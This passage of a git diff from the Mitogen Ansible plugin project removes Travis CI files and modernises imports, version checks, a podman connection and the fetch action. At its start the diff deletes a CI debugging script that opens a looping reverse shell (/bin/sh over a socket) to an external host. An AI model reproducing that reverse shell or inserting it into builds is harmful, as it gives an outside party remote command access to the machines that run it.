-#!/usr/bin/env python - -""" -Allow poking around Azure while the job is running. -""" - -import os -import pty -import socket -import subprocess -import sys -import time - - -if os.fork(): - sys.exit(0) - - -def try_once(): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect(("k3.botanicus.net", 9494)) - open('/tmp/interactive', 'w').close() - - os.dup2(s.fileno(), 0) - os.dup2(s.fileno(), 1) - os.dup2(s.fileno(), 2) - p = pty.spawn("/bin/sh") - - -while True: - try: - try_once() - except: - time.sleep(5) - continue - diff --git a/.ci/travis.sh b/.ci/travis.sh deleted file mode 100755 index 8bab7287..00000000 --- a/.ci/travis.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/bin/bash -# workaround from https://stackoverflow.com/a/26082445 to handle Travis 4MB log limit -set -e - -export PING_SLEEP=30s -export WORKDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" -export BUILD_OUTPUT=$WORKDIR/build.out - -touch $BUILD_OUTPUT - -dump_output() { - echo Tailing the last 1000 lines of output: - tail -1000 $BUILD_OUTPUT -} -error_handler() { - echo ERROR: An error was encountered with the build. - dump_output - kill $PING_LOOP_PID - exit 1 -} -# If an error occurs, run our error handler to output a tail of the build -trap 'error_handler' ERR - -# Set up a repeating loop to send some output to Travis. - -bash -c "while true; do echo \$(date) - building ...; sleep $PING_SLEEP; done" & -PING_LOOP_PID=$! - -.ci/${MODE}_tests.py >> $BUILD_OUTPUT 2>&1 - -# The build finished without returning an error so dump a tail of the output -dump_output - -# nicely terminate the ping output loop -kill $PING_LOOP_PID diff --git a/.github/ISSUE_TEMPLATE/bug-0.2.md b/.github/ISSUE_TEMPLATE/bug-0.2.md new file mode 100644 index 00000000..1fd9672f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug-0.2.md @@ -0,0 +1,33 @@ +--- +name: Mitogen 0.2.x bug report +about: Report a bug in Mitogen 0.2.x (for Ansible 2.5, 2.6, 2.7, 2.8, or 2.9) +title: '' +labels: affects-0.2, bug +assignees: '' + +--- + +Please drag-drop large logs as text file attachments. + +Feel free to write an issue in your preferred format, however if in doubt, use +the following checklist as a guide for what to include. + +* Which version of Ansible are you running? +* Is your version of Ansible patched in any way? +* Are you running with any custom modules, or `module_utils` loaded? + +* Have you tried the latest master version from Git? +* Do you have some idea of what the underlying problem may be? + https://mitogen.networkgenomics.com/ansible_detailed.html#common-problems has + instructions to help figure out the likely cause and how to gather relevant + logs. +* Mention your host and target OS and versions +* Mention your host and target Python versions +* If reporting a performance issue, mention the number of targets and a rough + description of your workload (lots of copies, lots of tiny file edits, etc.) +* If reporting a crash or hang in Ansible, please rerun with -vvv and include + 200 lines of output around the point of the error, along with a full copy of + any traceback or error text in the log. Beware "-vvv" may include secret + data! Edit as necessary before posting. +* If reporting any kind of problem with Ansible, please include the Ansible + version along with output of "ansible-config dump --only-changed". diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE/bug-0.3.md similarity index 89% rename from .github/ISSUE_TEMPLATE.md rename to .github/ISSUE_TEMPLATE/bug-0.3.md index 46df53df..0280198b 100644 --- a/.github/ISSUE_TEMPLATE.md +++ b/.github/ISSUE_TEMPLATE/bug-0.3.md @@ -1,3 +1,11 @@ +--- +name: Mitogen 0.3.x bug report +about: Report a bug in Mitogen 0.3.x (for Ansible 2.10.x) +title: '' +labels: affects-0.3, bug +assignees: '' + +--- Please drag-drop large logs as text file attachments. diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index aafb4413..00000000 --- a/.travis.yml +++ /dev/null @@ -1,82 +0,0 @@ -sudo: required -dist: trusty - -notifications: - email: false - irc: "chat.freenode.net#mitogen-builds" - -language: python - -branches: - except: - - docs-master - -cache: -- pip -- directories: - - /home/travis/virtualenv - -install: -- grep -Erl git-lfs\|couchdb /etc/apt | sudo xargs rm -v -- pip install -U pip==20.2.1 -- .ci/${MODE}_install.py - -# Travis has a 4MB log limit (https://github.com/travis-ci/travis-ci/issues/1382), but verbose Mitogen logs run larger than that -# in order to keep verbosity to debug a build failure, will run with this workaround: https://stackoverflow.com/a/26082445 -script: -- .ci/spawn_reverse_shell.py -- MODE=${MODE} .ci/travis.sh - -# To avoid matrix explosion, just test against oldest->newest and -# newest->oldest in various configuartions. - -matrix: - include: - # Debops tests. - # NOTE: debops tests turned off for Ansible 2.10: https://github.com/debops/debops/issues/1521 - # 2.10; 3.6 -> 2.7 - # - python: "3.6" - # env: MODE=debops_common VER=2.10.0 - # 2.10; 2.7 -> 2.7 - # - python: "2.7" - # env: MODE=debops_common VER=2.10.0 - - # Sanity check against vanilla Ansible. One job suffices. - # https://github.com/dw/mitogen/pull/715#issuecomment-719266420 migrating to Azure for now due to Travis 50 min time limit cap - # azure lets us adjust the cap, and the current STRATEGY=linear tests take up to 1.5 hours to finish - # - python: "2.7" - # env: MODE=ansible VER=2.10.0 DISTROS=debian STRATEGY=linear - - # ansible_mitogen tests. - - # 2.10 -> {debian, centos6, centos7} - - python: "3.6" - env: MODE=ansible VER=2.10.0 - # 2.10 -> {debian, centos6, centos7} - - python: "2.7" - env: MODE=ansible VER=2.10.0 - # 2.10 -> {debian, centos6, centos7} - # - python: "2.6" - # env: MODE=ansible VER=2.10.0 - - # 2.10 -> {centos5} - # - python: "2.6" - # env: MODE=ansible DISTROS=centos5 VER=2.10.0 - - # Mitogen tests. - # 2.4 -> 2.4 - # - language: c - # env: MODE=mitogen_py24 DISTROS=centos5 VER=2.10.0 - # 2.7 -> 2.7 -- moved to Azure - # 2.7 -> 2.6 - #- python: "2.7" - #env: MODE=mitogen DISTRO=centos6 - - python: "3.6" - env: MODE=mitogen DISTROS=centos7 VER=2.10.0 - # 2.6 -> 2.7 - # - python: "2.6" - # env: MODE=mitogen DISTROS=centos7 VER=2.10.0 - # 2.6 -> 3.5 - # - python: "2.6" - # env: MODE=mitogen DISTROS=debian-py3 VER=2.10.0 - # 3.6 -> 2.6 -- moved to Azure diff --git a/LICENSE b/LICENSE index 70e43a94..62ef15de 100644 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ -Copyright 2019, David Wilson +Copyright 2021, the Mitogen authors Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: diff --git a/README.md b/README.md index c7d8b03f..0d4d1b30 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,9 @@ # Mitogen - Please see the documentation. ![](https://i.imgur.com/eBM6LhJ.gif) -[![Total alerts](https://img.shields.io/lgtm/alerts/g/dw/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/dw/mitogen/alerts/) +[![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/) -[![Build Status](https://travis-ci.org/dw/mitogen.svg?branch=master)](https://travis-ci.org/dw/mitogen) - -[![Pipelines Status](https://dev.azure.com/dw-mitogen/Mitogen/_apis/build/status/dw.mitogen?branchName=master)](https://dev.azure.com/dw-mitogen/Mitogen/_build/latest?definitionId=1?branchName=master) +[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master) diff --git a/ansible_mitogen/affinity.py b/ansible_mitogen/affinity.py index 7f4c8db5..635ee7b9 100644 --- a/ansible_mitogen/affinity.py +++ b/ansible_mitogen/affinity.py @@ -73,7 +73,9 @@ necessarily involves preventing the scheduler from making load balancing decisions. """ -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import ctypes import logging import mmap diff --git a/ansible_mitogen/connection.py b/ansible_mitogen/connection.py index ccaba7dc..6df3dfcf 100644 --- a/ansible_mitogen/connection.py +++ b/ansible_mitogen/connection.py @@ -26,8 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function from __future__ import unicode_literals +__metaclass__ = type import errno import logging @@ -40,10 +41,8 @@ import time import ansible.constants as C import ansible.errors import ansible.plugins.connection -import ansible.utils.shlex import mitogen.core -import mitogen.fork import mitogen.utils import ansible_mitogen.mixins @@ -262,6 +261,21 @@ def _connect_machinectl(spec): return _connect_setns(spec, kind='machinectl') +def _connect_podman(spec): + """ + Return ContextService arguments for a Docker connection. + """ + return { + 'method': 'podman', + 'kwargs': { + 'username': spec.remote_user(), + 'container': spec.remote_addr(), + 'python_path': spec.python_path(rediscover_python=True), + 'connect_timeout': spec.ansible_ssh_timeout() or spec.timeout(), + 'remote_name': get_remote_name(spec), + } + } + def _connect_setns(spec, kind=None): """ Return ContextService arguments for a mitogen_setns connection. @@ -400,6 +414,7 @@ CONNECTION_METHOD = { 'lxc': _connect_lxc, 'lxd': _connect_lxd, 'machinectl': _connect_machinectl, + 'podman': _connect_podman, 'setns': _connect_setns, 'ssh': _connect_ssh, 'smart': _connect_ssh, # issue #548. @@ -1081,7 +1096,7 @@ class Connection(ansible.plugins.connection.ConnectionBase): s = fp.read(self.SMALL_FILE_LIMIT + 1) finally: fp.close() - except OSError: + except OSError as e: self._throw_io_error(e, in_path) raise diff --git a/ansible_mitogen/loaders.py b/ansible_mitogen/loaders.py index 00a89b74..cd05feac 100644 --- a/ansible_mitogen/loaders.py +++ b/ansible_mitogen/loaders.py @@ -30,7 +30,12 @@ Stable names for PluginLoader instances across Ansible versions. """ -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + +import ansible.errors + +import ansible_mitogen.utils __all__ = [ 'action_loader', @@ -41,21 +46,55 @@ __all__ = [ 'strategy_loader', ] -try: - from ansible.plugins.loader import action_loader - from ansible.plugins.loader import connection_loader - from ansible.plugins.loader import module_loader - from ansible.plugins.loader import module_utils_loader - from ansible.plugins.loader import shell_loader - from ansible.plugins.loader import strategy_loader -except ImportError: # Ansible <2.4 - from ansible.plugins import action_loader - from ansible.plugins import connection_loader - from ansible.plugins import module_loader - from ansible.plugins import module_utils_loader - from ansible.plugins import shell_loader - from ansible.plugins import strategy_loader +ANSIBLE_VERSION_MIN = (2, 10) +ANSIBLE_VERSION_MAX = (2, 12) + +NEW_VERSION_MSG = ( + "Your Ansible version (%s) is too recent. The most recent version\n" + "supported by Mitogen for Ansible is %s.x. Please check the Mitogen\n" + "release notes to see if a new version is available, otherwise\n" + "subscribe to the corresponding GitHub issue to be notified when\n" + "support becomes available.\n" + "\n" + " https://mitogen.rtfd.io/en/latest/changelog.html\n" + " https://github.com/mitogen-hq/mitogen/issues/\n" +) +OLD_VERSION_MSG = ( + "Your version of Ansible (%s) is too old. The oldest version supported by " + "Mitogen for Ansible is %s." +) + + +def assert_supported_release(): + """ + Throw AnsibleError with a descriptive message in case of being loaded into + an unsupported Ansible release. + """ + v = ansible_mitogen.utils.ansible_version + if v[:2] < ANSIBLE_VERSION_MIN: + raise ansible.errors.AnsibleError( + OLD_VERSION_MSG % (v, ANSIBLE_VERSION_MIN) + ) + + if v[:2] > ANSIBLE_VERSION_MAX: + raise ansible.errors.AnsibleError( + NEW_VERSION_MSG % (v, ANSIBLE_VERSION_MAX) + ) + + +# this is the first file our strategy plugins import, so we need to check this here +# in prior Ansible versions, connection_loader.get_with_context didn't exist, so if a user +# is trying to load an old Ansible version, we'll fail and error gracefully +assert_supported_release() + + +from ansible.plugins.loader import action_loader +from ansible.plugins.loader import connection_loader +from ansible.plugins.loader import module_loader +from ansible.plugins.loader import module_utils_loader +from ansible.plugins.loader import shell_loader +from ansible.plugins.loader import strategy_loader # These are original, unwrapped implementations action_loader__get = action_loader.get diff --git a/ansible_mitogen/logging.py b/ansible_mitogen/logging.py index 00a70184..40b2b339 100644 --- a/ansible_mitogen/logging.py +++ b/ansible_mitogen/logging.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import logging import os @@ -36,8 +38,8 @@ import mitogen.utils try: from __main__ import display except ImportError: - from ansible.utils.display import Display - display = Display() + import ansible.utils.display + display = ansible.utils.display.Display() #: The process name set via :func:`set_process_name`. diff --git a/ansible_mitogen/mixins.py b/ansible_mitogen/mixins.py index 7e7a3ff0..690998f1 100644 --- a/ansible_mitogen/mixins.py +++ b/ansible_mitogen/mixins.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import logging import os import pwd @@ -53,6 +55,8 @@ import mitogen.utils import ansible_mitogen.connection import ansible_mitogen.planner import ansible_mitogen.target +import ansible_mitogen.utils + from ansible.module_utils._text import to_text try: @@ -226,7 +230,7 @@ class ActionModuleMixin(ansible.plugins.action.ActionBase): with a pipelined call to :func:`ansible_mitogen.target.prune_tree`. """ LOG.debug('_remove_tmp_path(%r)', tmp_path) - if tmp_path is None and ansible.__version__ > '2.6': + if tmp_path is None and ansible_mitogen.utils.ansible_version[:2] >= (2, 6): tmp_path = self._connection._shell.tmpdir # 06f73ad578d if tmp_path is not None: self._connection.get_chain().call_no_reply( @@ -335,7 +339,7 @@ class ActionModuleMixin(ansible.plugins.action.ActionBase): def _set_temp_file_args(self, module_args, wrap_async): # Ansible>2.5 module_utils reuses the action's temporary directory if # one exists. Older versions error if this key is present. - if ansible.__version__ > '2.5': + if ansible_mitogen.utils.ansible_version[:2] >= (2, 5): if wrap_async: # Sharing is not possible with async tasks, as in that case, # the directory must outlive the action plug-in. @@ -346,7 +350,7 @@ class ActionModuleMixin(ansible.plugins.action.ActionBase): # If _ansible_tmpdir is unset, Ansible>2.6 module_utils will use # _ansible_remote_tmp as the location to create the module's temporary # directory. Older versions error if this key is present. - if ansible.__version__ > '2.6': + if ansible_mitogen.utils.ansible_version[:2] >= (2, 6): module_args['_ansible_remote_tmp'] = ( self._connection.get_good_temp_dir() ) @@ -393,7 +397,7 @@ class ActionModuleMixin(ansible.plugins.action.ActionBase): ) ) - if tmp and ansible.__version__ < '2.5' and delete_remote_tmp: + if tmp and delete_remote_tmp and ansible_mitogen.utils.ansible_version[:2] < (2, 5): # Built-in actions expected tmpdir to be cleaned up automatically # on _execute_module(). self._remove_tmp_path(tmp) diff --git a/ansible_mitogen/module_finder.py b/ansible_mitogen/module_finder.py index 89aa2beb..cec465c1 100644 --- a/ansible_mitogen/module_finder.py +++ b/ansible_mitogen/module_finder.py @@ -26,8 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function from __future__ import unicode_literals +__metaclass__ = type import collections import imp diff --git a/ansible_mitogen/parsing.py b/ansible_mitogen/parsing.py index 27fca7cd..2ca50315 100644 --- a/ansible_mitogen/parsing.py +++ b/ansible_mitogen/parsing.py @@ -26,8 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function from __future__ import unicode_literals +__metaclass__ = type import mitogen.core diff --git a/ansible_mitogen/planner.py b/ansible_mitogen/planner.py index faf8d197..86690f7d 100644 --- a/ansible_mitogen/planner.py +++ b/ansible_mitogen/planner.py @@ -34,19 +34,20 @@ files/modules known missing. [0] "Ansible Module Architecture", developing_program_flow_modules.html """ -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function from __future__ import unicode_literals +__metaclass__ = type import json import logging import os import random +import re -from ansible.executor import module_common -from ansible.collections.list import list_collection_dirs +import ansible.collections.list import ansible.errors -import ansible.module_utils -import ansible.release +import ansible.executor.module_common + import mitogen.core import mitogen.select @@ -191,7 +192,7 @@ class BinaryPlanner(Planner): @classmethod def detect(cls, path, source): - return module_common._is_binary(source) + return ansible.executor.module_common._is_binary(source) def get_push_files(self): return [mitogen.core.to_text(self._inv.module_path)] @@ -268,7 +269,7 @@ class JsonArgsPlanner(ScriptPlanner): @classmethod def detect(cls, path, source): - return module_common.REPLACER_JSONARGS in source + return ansible.executor.module_common.REPLACER_JSONARGS in source class WantJsonPlanner(ScriptPlanner): @@ -297,11 +298,11 @@ class NewStylePlanner(ScriptPlanner): preprocessing the module. """ runner_name = 'NewStyleRunner' - marker = b'from ansible.module_utils.' + MARKER = re.compile(br'from ansible(?:_collections|\.module_utils)\.') @classmethod def detect(cls, path, source): - return cls.marker in source + return cls.MARKER.search(source) is not None def _get_interpreter(self): return None, None @@ -321,6 +322,7 @@ class NewStylePlanner(ScriptPlanner): ALWAYS_FORK_MODULES = frozenset([ 'dnf', # issue #280; py-dnf/hawkey need therapy 'firewalld', # issue #570: ansible module_utils caches dbus conn + 'ansible.legacy.dnf', # issue #776 ]) def should_fork(self): @@ -360,7 +362,7 @@ class NewStylePlanner(ScriptPlanner): module_name='ansible_module_%s' % (self._inv.module_name,), module_path=self._inv.module_path, search_path=self.get_search_path(), - builtin_path=module_common._MODULE_UTILS_PATH, + builtin_path=ansible.executor.module_common._MODULE_UTILS_PATH, context=self._inv.connection.context, ) return self._module_map @@ -403,7 +405,7 @@ class ReplacerPlanner(NewStylePlanner): @classmethod def detect(cls, path, source): - return module_common.REPLACER in source + return ansible.executor.module_common.REPLACER in source class OldStylePlanner(ScriptPlanner): @@ -425,36 +427,21 @@ _planners = [ ] -try: - _get_ansible_module_fqn = module_common._get_ansible_module_fqn -except AttributeError: - _get_ansible_module_fqn = None - - def py_modname_from_path(name, path): """ Fetch the logical name of a new-style module as it might appear in :data:`sys.modules` of the target's Python interpreter. - * For Ansible <2.7, this is an unpackaged module named like - "ansible_module_%s". - - * For Ansible <2.9, this is an unpackaged module named like - "ansible.modules.%s" - * Since Ansible 2.9, modules appearing within a package have the original package hierarchy approximated on the target, enabling relative imports to function correctly. For example, "ansible.modules.system.setup". """ - # 2.9+ - if _get_ansible_module_fqn: - try: - return _get_ansible_module_fqn(path) - except ValueError: - pass - - if ansible.__version__ < '2.7': - return 'ansible_module_' + name + try: + return ansible.executor.module_common._get_ansible_module_fqn(path) + except AttributeError: + pass + except ValueError: + pass return 'ansible.modules.' + name @@ -536,12 +523,15 @@ def _invoke_isolated_task(invocation, planner): context.shutdown() -def _get_planner(name, path, source): +def _get_planner(invocation, source): for klass in _planners: - if klass.detect(path, source): - LOG.debug('%r accepted %r (filename %r)', klass, name, path) + if klass.detect(invocation.module_path, source): + LOG.debug( + '%r accepted %r (filename %r)', + klass, invocation.module_name, invocation.module_path, + ) return klass - LOG.debug('%r rejected %r', klass, name) + LOG.debug('%r rejected %r', klass, invocation.module_name) raise ansible.errors.AnsibleError(NO_METHOD_MSG + repr(invocation)) @@ -572,7 +562,7 @@ def _load_collections(invocation): Goes through all collection path possibilities and stores paths to installed collections Stores them on the current invocation to later be passed to the master service """ - for collection_path in list_collection_dirs(): + for collection_path in ansible.collections.list.list_collection_dirs(): invocation._extra_sys_paths.add(collection_path.decode('utf-8')) @@ -604,8 +594,7 @@ def invoke(invocation): module_source = invocation.get_module_source() _fix_py35(invocation, module_source) _planner_by_path[invocation.module_path] = _get_planner( - invocation.module_name, - invocation.module_path, + invocation, module_source ) diff --git a/ansible_mitogen/plugins/action/mitogen_fetch.py b/ansible_mitogen/plugins/action/mitogen_fetch.py index b9eece76..c1ef1902 100644 --- a/ansible_mitogen/plugins/action/mitogen_fetch.py +++ b/ansible_mitogen/plugins/action/mitogen_fetch.py @@ -18,23 +18,17 @@ from __future__ import (absolute_import, division, print_function) __metaclass__ = type import os - -from ansible.module_utils._text import to_bytes +import base64 +from ansible.errors import AnsibleError, AnsibleActionFail, AnsibleActionSkip +from ansible.module_utils.common.text.converters import to_bytes, to_text from ansible.module_utils.six import string_types from ansible.module_utils.parsing.convert_bool import boolean from ansible.plugins.action import ActionBase -from ansible.utils.hashing import checksum, md5, secure_hash -from ansible.utils.path import makedirs_safe - +from ansible.utils.display import Display +from ansible.utils.hashing import checksum, checksum_s, md5, secure_hash +from ansible.utils.path import makedirs_safe, is_subpath -REMOTE_CHECKSUM_ERRORS = { - '0': "unable to calculate the checksum of the remote file", - '1': "the remote file does not exist", - '2': "no read permission on remote file", - '3': "remote file is a directory, fetch cannot work on directories", - '4': "python isn't present on the system. Unable to compute checksum", - '5': "stdlib json was not found on the remote machine. Only the raw module can work without those installed", -} +display = Display() class ActionModule(ActionBase): @@ -45,36 +39,94 @@ class ActionModule(ActionBase): task_vars = dict() result = super(ActionModule, self).run(tmp, task_vars) + del tmp # tmp no longer has any effect + try: if self._play_context.check_mode: - result['skipped'] = True - result['msg'] = 'check mode not (yet) supported for this module' - return result + raise AnsibleActionSkip('check mode not (yet) supported for this module') + source = self._task.args.get('src', None) + original_dest = dest = self._task.args.get('dest', None) flat = boolean(self._task.args.get('flat'), strict=False) fail_on_missing = boolean(self._task.args.get('fail_on_missing', True), strict=False) validate_checksum = boolean(self._task.args.get('validate_checksum', True), strict=False) + msg = '' # validate source and dest are strings FIXME: use basic.py and module specs - source = self._task.args.get('src') if not isinstance(source, string_types): - result['msg'] = "Invalid type supplied for source option, it must be a string" + msg = "Invalid type supplied for source option, it must be a string" - dest = self._task.args.get('dest') if not isinstance(dest, string_types): - result['msg'] = "Invalid type supplied for dest option, it must be a string" + msg = "Invalid type supplied for dest option, it must be a string" + + if source is None or dest is None: + msg = "src and dest are required" - if result.get('msg'): - result['failed'] = True - return result + if msg: + raise AnsibleActionFail(msg) source = self._connection._shell.join_path(source) source = self._remote_expand_user(source) - # calculate checksum for the remote file, don't bother if using - # become as slurp will be used Force remote_checksum to follow - # symlinks because fetch always follows symlinks - remote_checksum = self._remote_checksum(source, all_vars=task_vars, follow=True) + remote_stat = {} + remote_checksum = None + if True: + # Get checksum for the remote file even using become. Mitogen doesn't need slurp. + # Follow symlinks because fetch always follows symlinks + try: + remote_stat = self._execute_remote_stat(source, all_vars=task_vars, follow=True) + except AnsibleError as ae: + result['changed'] = False + result['file'] = source + if fail_on_missing: + result['failed'] = True + result['msg'] = to_text(ae) + else: + result['msg'] = "%s, ignored" % to_text(ae, errors='surrogate_or_replace') + + return result + + remote_checksum = remote_stat.get('checksum') + if remote_stat.get('exists'): + if remote_stat.get('isdir'): + result['failed'] = True + result['changed'] = False + result['msg'] = "remote file is a directory, fetch cannot work on directories" + + # Historically, these don't fail because you may want to transfer + # a log file that possibly MAY exist but keep going to fetch other + # log files. Today, this is better achieved by adding + # ignore_errors or failed_when to the task. Control the behaviour + # via fail_when_missing + if not fail_on_missing: + result['msg'] += ", not transferring, ignored" + del result['changed'] + del result['failed'] + + return result + + # use slurp if permissions are lacking or privilege escalation is needed + remote_data = None + if remote_checksum in (None, '1', ''): + slurpres = self._execute_module(module_name='ansible.legacy.slurp', module_args=dict(src=source), task_vars=task_vars) + if slurpres.get('failed'): + if not fail_on_missing: + result['file'] = source + result['changed'] = False + else: + result.update(slurpres) + + if 'not found' in slurpres.get('msg', ''): + result['msg'] = "the remote file does not exist, not transferring, ignored" + elif slurpres.get('msg', '').startswith('source is a directory'): + result['msg'] = "remote file is a directory, fetch cannot work on directories" + + return result + else: + if slurpres['encoding'] == 'base64': + remote_data = base64.b64decode(slurpres['content']) + if remote_data is not None: + remote_checksum = checksum_s(remote_data) # calculate the destination name if os.path.sep not in self._connection._shell.join_path('a', ''): @@ -83,13 +135,14 @@ class ActionModule(ActionBase): else: source_local = source - dest = os.path.expanduser(dest) + # ensure we only use file name, avoid relative paths + if not is_subpath(dest, original_dest): + # TODO: ? dest = os.path.expanduser(dest.replace(('../',''))) + raise AnsibleActionFail("Detected directory traversal, expected to be contained in '%s' but got '%s'" % (original_dest, dest)) + if flat: if os.path.isdir(to_bytes(dest, errors='surrogate_or_strict')) and not dest.endswith(os.sep): - result['msg'] = "dest is an existing directory, use a trailing slash if you want to fetch src into that directory" - result['file'] = dest - result['failed'] = True - return result + raise AnsibleActionFail("dest is an existing directory, use a trailing slash if you want to fetch src into that directory") if dest.endswith(os.sep): # if the path ends with "/", we'll use the source filename as the # destination filename @@ -106,23 +159,7 @@ class ActionModule(ActionBase): target_name = self._play_context.remote_addr dest = "%s/%s/%s" % (self._loader.path_dwim(dest), target_name, source_local) - dest = dest.replace("//", "/") - - if remote_checksum in REMOTE_CHECKSUM_ERRORS: - result['changed'] = False - result['file'] = source - result['msg'] = REMOTE_CHECKSUM_ERRORS[remote_checksum] - # Historically, these don't fail because you may want to transfer - # a log file that possibly MAY exist but keep going to fetch other - # log files. Today, this is better achieved by adding - # ignore_errors or failed_when to the task. Control the behaviour - # via fail_when_missing - if fail_on_missing: - result['failed'] = True - del result['changed'] - else: - result['msg'] += ", not transferring, ignored" - return result + dest = os.path.normpath(dest) # calculate checksum for the local file local_checksum = checksum(dest) @@ -132,7 +169,15 @@ class ActionModule(ActionBase): makedirs_safe(os.path.dirname(dest)) # fetch the file and check for changes - self._connection.fetch_file(source, dest) + if remote_data is None: + self._connection.fetch_file(source, dest) + else: + try: + f = open(to_bytes(dest, errors='surrogate_or_strict'), 'wb') + f.write(remote_data) + f.close() + except (IOError, OSError) as e: + raise AnsibleActionFail("Failed to fetch the file: %s" % e) new_checksum = secure_hash(dest) # For backwards compatibility. We'll return None on FIPS enabled systems try: @@ -157,10 +202,6 @@ class ActionModule(ActionBase): result.update(dict(changed=False, md5sum=local_md5, file=source, dest=dest, checksum=local_checksum)) finally: - try: - self._remove_tmp_path(self._connection._shell.tmpdir) - except AttributeError: - # .tmpdir was added to ShellModule in v2.6.0, so old versions don't have it - pass + self._remove_tmp_path(self._connection._shell.tmpdir) return result diff --git a/ansible_mitogen/plugins/action/mitogen_get_stack.py b/ansible_mitogen/plugins/action/mitogen_get_stack.py index 0d0afe86..a8634e57 100644 --- a/ansible_mitogen/plugins/action/mitogen_get_stack.py +++ b/ansible_mitogen/plugins/action/mitogen_get_stack.py @@ -26,14 +26,15 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import -from __future__ import unicode_literals - """ Fetch the connection configuration stack that would be used to connect to a target, without actually connecting to it. """ +from __future__ import absolute_import, division, print_function +from __future__ import unicode_literals +__metaclass__ = type + import ansible_mitogen.connection from ansible.plugins.action import ActionBase diff --git a/ansible_mitogen/plugins/connection/mitogen_buildah.py b/ansible_mitogen/plugins/connection/mitogen_buildah.py index 017214b2..10ab6b41 100644 --- a/ansible_mitogen/plugins/connection/mitogen_buildah.py +++ b/ansible_mitogen/plugins/connection/mitogen_buildah.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_doas.py b/ansible_mitogen/plugins/connection/mitogen_doas.py index 1113d7c6..963ec597 100644 --- a/ansible_mitogen/plugins/connection/mitogen_doas.py +++ b/ansible_mitogen/plugins/connection/mitogen_doas.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_docker.py b/ansible_mitogen/plugins/connection/mitogen_docker.py index b71ef5f1..e0dd2120 100644 --- a/ansible_mitogen/plugins/connection/mitogen_docker.py +++ b/ansible_mitogen/plugins/connection/mitogen_docker.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_jail.py b/ansible_mitogen/plugins/connection/mitogen_jail.py index c7475fb1..a432e17d 100644 --- a/ansible_mitogen/plugins/connection/mitogen_jail.py +++ b/ansible_mitogen/plugins/connection/mitogen_jail.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_kubectl.py b/ansible_mitogen/plugins/connection/mitogen_kubectl.py index 44d3b50a..bae41609 100644 --- a/ansible_mitogen/plugins/connection/mitogen_kubectl.py +++ b/ansible_mitogen/plugins/connection/mitogen_kubectl.py @@ -27,12 +27,13 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys -from ansible.errors import AnsibleConnectionFailure -from ansible.module_utils.six import iteritems +import ansible.errors try: import ansible_mitogen @@ -45,17 +46,11 @@ import ansible_mitogen.connection import ansible_mitogen.loaders -_class = ansible_mitogen.loaders.connection_loader__get( +_get_result = ansible_mitogen.loaders.connection_loader__get( 'kubectl', class_only=True, ) -if _class: - kubectl = 